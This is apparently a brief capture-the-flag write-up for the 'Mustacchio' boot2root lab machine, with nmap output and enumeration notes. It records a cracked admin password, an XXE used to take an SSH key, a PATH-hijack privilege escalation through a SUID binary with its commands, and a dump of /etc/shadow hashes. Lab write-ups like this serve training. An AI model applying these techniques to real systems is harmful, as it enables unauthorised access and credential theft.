About

Mustacchio
IP:10.10.23.41

Description:
Easy boot2root Machine

Recon

rusty

22,80,8765

nmapinit

```
# Nmap 7.91 scan initiated Wed Jun 16 14:03:50 2021 as: nmap -Pn -p 80,22,8765 -sC -sV -v -oN recon/nmapinit.txt 10.10.23.41
Nmap scan report for 10.10.23.41
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 16 14:04:12 2021 -- 1 IP address (1 host up) scanned in 22.47 seconds
```

Enum

dirb/gob

http://10.10.23.41/custom/js/

*users.bak
 - get admin credentials

http://10.10.23.41:8765/home.php

*XXE
 - get barry ssh priv key

manual

sqlitebrowser users.bak:

admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b

cracking:

bulldog19 (admin)

Privesc

SUID: /home/joe/live_log

tail -f /var/log/nginx/access.log

*change user path to execute malicious file rather than 'tail'

cd /tmp
echo “/bin/bash” > tail
chmod +x tail
/home/joe/live_log

Other

/etc/shadow

root:*:18739:0:99999:7:::
daemon:*:18739:0:99999:7:::
bin:*:18739:0:99999:7:::
sys:*:18739:0:99999:7:::
sync:*:18739:0:99999:7:::
games:*:18739:0:99999:7:::
man:*:18739:0:99999:7:::

lp:*:18739:0:99999:7:::
mail:*:18739:0:99999:7:::
news:*:18739:0:99999:7:::
uucp:*:18739:0:99999:7:::
proxy:*:18739:0:99999:7:::
www-data:*:18739:0:99999:7:::
backup:*:18739:0:99999:7:::
list:*:18739:0:99999:7:::
irc:*:18739:0:99999:7:::
gnats:*:18739:0:99999:7:::
nobody:*:18739:0:99999:7:::
systemd-timesync:*:18739:0:99999:7:::
systemd-network:*:18739:0:99999:7:::
systemd-resolve:*:18739:0:99999:7:::
systemd-bus-proxy:*:18739:0:99999:7:::
syslog:*:18739:0:99999:7:::
_apt:*:18739:0:99999:7:::
lxd:*:18739:0:99999:7:::
messagebus:*:18739:0:99999:7:::
uuidd:*:18739:0:99999:7:::
dnsmasq:*:18739:0:99999:7:::
sshd:*:18739:0:99999:7:::
pollinate:*:18739:0:99999:7:::
vagrant:-
6rxWldag3$UH9F1UZhDQEKKleaid9QNzH7n1uDlJgdnGP01X5lwo4HAAO292zKrLCM5Gk1j5g4sacRoNR2b790HUGSNA/-
Wn.:18739:0:99999:7:::
joe:6Knz6FBbL$UEDnt.pkH6ZEDf/R4cJMLXP36diGxbnUoocdFrYWRybQ58DOP9kE4vgcU9CZXQ2e/l/-
HQ8UZFrQXsZTB8ZYPy1:18790:0:99999:7:::
barry:$6$230tFyKx$W3A2JMRqNrW2bFT/-
XsCNoPNDlTjxlqAkmLSyC9EHxRLLce8AlHQWwidzC.SSVIqzB64.zLjUTMWgrrfv0UqjG0:18790:0:99999:7:::